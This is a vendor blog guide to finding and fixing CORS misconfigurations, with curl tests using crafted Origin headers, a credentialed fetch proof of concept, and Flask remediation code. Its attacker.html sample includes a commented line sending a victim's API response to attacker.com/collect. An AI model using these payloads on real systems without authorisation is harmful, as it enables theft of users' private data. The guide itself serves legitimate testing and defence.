CORS Misconfiguration Testing: A Complete Guide

Cross-Origin Resource Sharing (CORS) misconfigurations are one of the most consistently underrated web vulnerabilities. They appear in bug bounty programs at high severity, show up in pentest reports for everything from SaaS startups to financial institutions, and they're routinely missed by teams that rely solely on static analysis or a basic Nikto scan. The reason: exploiting a CORS misconfiguration requires a browser making a credentialed cross-origin request, which most scanners never simulate.

This guide covers how CORS works, every major misconfiguration class, how to test each one manually with curl and browser DevTools, what automated scanning actually catches, and how to fix it.

How CORS Works

The Same-Origin Policy (SOP) is the browser's core security boundary: a page at https://app.example.com cannot read responses from https://api.example.com unless the API explicitly permits it. CORS is the mechanism that carves out controlled exceptions to SOP.

When a browser makes a cross-origin request, the server's response either includes CORS headers permitting the request, or the browser blocks the response from being read by the requesting page. The critical point: the request is always sent. The browser receives the response. CORS only controls whether the JavaScript on the requesting page can read that response.

The key CORS headers:

For simple requests (GET, POST with certain content types), the browser sends the request and then checks the response headers. For non-simple requests (PUT, DELETE, custom headers, JSON body), the browser first sends an OPTIONS preflight request to verify the server permits the method and headers before sending the actual request.

The security implication: if a server responds with Access-Control-Allow-Origin: https://attacker.com and Access-Control-Allow-Credentials: true to requests from an attacker-controlled origin, an attacker's page can make authenticated requests to the target API and read the responses — including session data, user information, and private API responses.

Misconfiguration Types

1. Reflected Origin

The most impactful CORS misconfiguration. The server reads the Origin header from the request and reflects it back in Access-Control-Allow-Origin without validation. Combined with Access-Control-Allow-Credentials: true, this means any origin — including an attacker's page — can make authenticated cross-origin requests and read responses.

Vulnerable server behavior

Request: Origin: https://evil.com → Response: Access-Control-Allow-Origin: https://evil.com + Access-Control-Allow-Credentials: true

This often appears in APIs that were built to support multiple frontends (mobile app, web app, partner integrations) where the developer added Access-Control-Allow-Origin: *, found it broke cookies/auth, switched to reflecting the origin dynamically, and shipped it without realizing the security implication.

2. Wildcard Origin (*)

Access-Control-Allow-Origin: * permits any origin to read responses. By itself, the browser prohibits sending credentials (cookies, Authorization headers) with wildcard CORS — so this is only exploitable without credentials. For truly public APIs with no authentication, this is intentional and fine. For any API that returns user-specific data even without explicit authentication (e.g., reads from session), this is a problem.

The real risk: developers sometimes respond with * for unauthenticated endpoints and then add features to those endpoints later that implicitly use session context. What was safe becomes a data leak.

3. Null Origin

Some servers whitelist null as a permitted origin. This sounds reasonable — null origin appears in browser security documentation as the origin for local files. The problem: null origin is also sent by sandboxed iframes, redirects from certain protocols, and browser-based file:// requests. An attacker can create a sandboxed iframe that sends requests with Origin: null and bypass origin restrictions entirely.

Sandboxed iframe exploit pattern

An attacker hosts: <iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>/* fetch target with null origin */</script>"></iframe>

4. Trusting All Subdomains

A server validates that the request origin ends with .example.com. This seems safe — until you account for subdomain takeover, XSS on any subdomain, or developer subdomains that are less hardened than production. If an attacker controls anything.example.com (via subdomain takeover of an abandoned DNS entry, for example), they can use it as the allowed origin to exfiltrate data from the main application.

The origin validation is also often implemented incorrectly. A regex like .*\.example\.com without anchoring will match evil.com?foo=.example.com if the implementation does a substring match rather than a proper origin parse.

5. HTTPS-to-HTTP Downgrade

The server allows a secure HTTPS origin's HTTP equivalent. For example, it permits http://app.example.com in addition to https://app.example.com. On a network where HTTP traffic is interceptable (corporate proxies, coffee shop networks, mobile carriers), an attacker performing a network MitM can serve a page from the HTTP origin and use the CORS trust to exfiltrate data from the HTTPS API.

6. Overly Broad Regex Matching

Implementations that use regex for origin validation without proper anchoring. A check like origin.includes('example.com') or an unanchored regex will match attacker-registered domains like evil-example.com or notexample.com.evil.com.

Manual Testing with curl

CORS testing with curl is straightforward: send requests with a crafted Origin header and inspect the response headers. You're looking for what the server reflects back in Access-Control-Allow-Origin and whether Access-Control-Allow-Credentials: true is present.

Basic reflected origin test

# Test 1: Does the server reflect arbitrary origins?
curl -s -o /dev/null -D - \
  -H "Origin: https://evil.com" \
  https://api.example.com/v1/user/profile

# Expected vulnerable response:
# Access-Control-Allow-Origin: https://evil.com
# Access-Control-Allow-Credentials: true

# Expected safe response:
# Access-Control-Allow-Origin: https://app.example.com
# (or no CORS headers at all)

Null origin test

# Test 2: Does the server accept null origin?
curl -s -o /dev/null -D - \
  -H "Origin: null" \
  https://api.example.com/v1/user/profile

# Vulnerable if response contains:
# Access-Control-Allow-Origin: null
# Access-Control-Allow-Credentials: true

Subdomain and regex bypass tests

# Test 3: Subdomain matching — does it anchor correctly?
curl -s -o /dev/null -D - \
  -H "Origin: https://evil.example.com" \
  https://api.example.com/v1/user/profile

# Test 4: Suffix match bypass
curl -s -o /dev/null -D - \
  -H "Origin: https://notexample.com" \
  https://api.example.com/v1/user/profile

# Test 5: Prefix/substring bypass (attacker registered evil-example.com)
curl -s -o /dev/null -D - \
  -H "Origin: https://evil-example.com" \
  https://api.example.com/v1/user/profile

# Test 6: HTTP downgrade
curl -s -o /dev/null -D - \
  -H "Origin: http://app.example.com" \
  https://api.example.com/v1/user/profile

Preflight test for non-simple requests

# Test 7: OPTIONS preflight for authenticated API endpoints
curl -s -o /dev/null -D - \
  -X OPTIONS \
  -H "Origin: https://evil.com" \
  -H "Access-Control-Request-Method: GET" \
  -H "Access-Control-Request-Headers: Authorization" \
  https://api.example.com/v1/user/profile

# Look for: Access-Control-Allow-Origin, Access-Control-Allow-Credentials
# in the preflight response

Authenticated endpoint test

CORS misconfigurations only matter when the response contains data worth stealing. For authenticated APIs, include valid session credentials to verify the server responds with actual data (not just 401):

# Test with session cookie to confirm data exposure
curl -s -D - \
  -H "Origin: https://evil.com" \
  -H "Cookie: session=your_valid_session_token" \
  https://api.example.com/v1/user/profile

# If response body contains user data AND headers contain:
# Access-Control-Allow-Origin: https://evil.com
# Access-Control-Allow-Credentials: true
# — this is a confirmed high-severity finding

Testing with Browser DevTools

For more realistic testing — particularly for single-page apps where the CORS configuration may differ per-endpoint — use the browser console to simulate actual cross-origin requests.

Open DevTools on any page (or about:blank), then run:

// Credentialed cross-origin fetch — simulates what an attacker page would do
fetch('https://api.example.com/v1/user/profile', {
  method: 'GET',
  credentials: 'include',  // sends cookies
  headers: {
    'Content-Type': 'application/json'
  }
})
.then(r => r.json())
.then(data => console.log('Response:', JSON.stringify(data)))
.catch(err => console.log('CORS blocked:', err));

If the browser console shows the response data rather than a CORS error, the configuration is vulnerable. The origin of the page you ran this from (or null if from about:blank in some browsers) was permitted by the server.

For a more precise test, serve a minimal HTML file from a local server or attacker-controlled domain:

<!-- attacker.html — serve from http://localhost:8080 or attacker.com -->
<script>
fetch('https://api.example.com/v1/user/profile', {
  credentials: 'include'
})
.then(r => r.text())
.then(body => {
  document.body.innerHTML = '<pre>' + body + '</pre>';
  // In a real attack: send body to attacker server
  // fetch('https://attacker.com/collect?data=' + encodeURIComponent(body))
});
</script>

Serve it with python3 -m http.server 8080, visit http://localhost:8080/attacker.html while logged in to the target application, and check whether the target API response renders on the attacker page.

What Automated Scanning Finds

Misconfiguration Automated Detection Notes
Wildcard origin (*) Good Simple header check; scanners catch this reliably
Reflected origin Good Send arbitrary Origin, check if reflected + credentials: true
Null origin Good Send Origin: null, check response
Overly broad regex Moderate Requires testing multiple bypass patterns; some tools miss suffix/prefix bypasses
Subdomain trust Limited Scanner must know your subdomain namespace to test realistically
HTTPS-to-HTTP downgrade Moderate Simple test once you know what HTTP origins to try
Exploitability with credentials Limited Requires authenticated scan with valid session to confirm data exposure

The gap between "CORS header is misconfigured" and "this is exploitable" requires confirmation that the endpoint returns sensitive data when accessed with valid credentials via the misconfigured origin. Scanners that run unauthenticated will detect the header misconfiguration but cannot confirm what data is actually exposed.

Remediation

Maintain an explicit origin allowlist

The correct approach: define the exact set of origins your application needs to support and validate the request Origin header against that list. Never reflect the incoming origin back without validation.

# Python/Flask example
ALLOWED_ORIGINS = {
    'https://app.example.com',
    'https://admin.example.com',
}

@app.after_request
def add_cors_headers(response):
    origin = request.headers.get('Origin')
    if origin in ALLOWED_ORIGINS:
        response.headers['Access-Control-Allow-Origin'] = origin
        response.headers['Access-Control-Allow-Credentials'] = 'true'
        response.headers['Vary'] = 'Origin'
    return response

The Vary: Origin header is critical when using dynamic origin allowlisting. Without it, caching proxies may serve a response with Access-Control-Allow-Origin: https://app.example.com to a request from a different origin, causing either CORS failures or — worse — leaking a permitted origin header to a blocked one.

Never use wildcard with credentials

Browsers will refuse to send credentials with wildcard CORS, but some server implementations incorrectly combine Access-Control-Allow-Origin: * with Access-Control-Allow-Credentials: true. This combination is invalid per spec and will cause browsers to block the response — but some older browser versions or non-standard HTTP clients may not enforce this. Treat it as a misconfiguration regardless.

Reject null origin

Unless you have a specific documented requirement to permit local file or sandboxed iframe access, null should never be in your origin allowlist. If it is, remove it.

Anchor subdomain matching carefully

If you genuinely need to allow all subdomains of your domain, implement the check correctly:

# Python — correct subdomain validation
import re
from urllib.parse import urlparse

def is_allowed_origin(origin):
    try:
        parsed = urlparse(origin)
        # Must be HTTPS
        if parsed.scheme != 'https':
            return False
        # Must be exactly example.com or a direct subdomain
        hostname = parsed.hostname or ''
        return hostname == 'example.com' or hostname.endswith('.example.com')
    except Exception:
        return False

# NOT this — vulnerable to suffix bypass:
# if 'example.com' in origin:  # matches evil-example.com
#     return True

Scope CORS configuration per-endpoint

Not all endpoints need the same CORS policy. Public read-only API endpoints may legitimately use *. User-specific or write endpoints should use a strict allowlist with credentials. Apply the most restrictive policy your use case permits — don't apply the same permissive configuration across the entire API surface.

Use SameSite cookies as defense in depth

SameSite=Strict or SameSite=Lax on session cookies limits cross-site request abuse even when CORS is misconfigured, because the browser won't send the cookie in cross-site requests. This reduces — but does not eliminate — the risk: APIs using token-based auth (Bearer tokens in headers) are not protected by SameSite, since the token would need to be retrieved via JavaScript first (which is what the CORS misconfiguration enables).

Testing Checklist

Ironimo tests for CORS misconfigurations across your entire application — reflected origins, null origin abuse, and credential-bearing cross-origin requests — using the same methodology professional pentesters use.

Automated, on-demand scans that flag the exact request, response, and remediation path. No manual setup required.

Start free scan
← Back to blog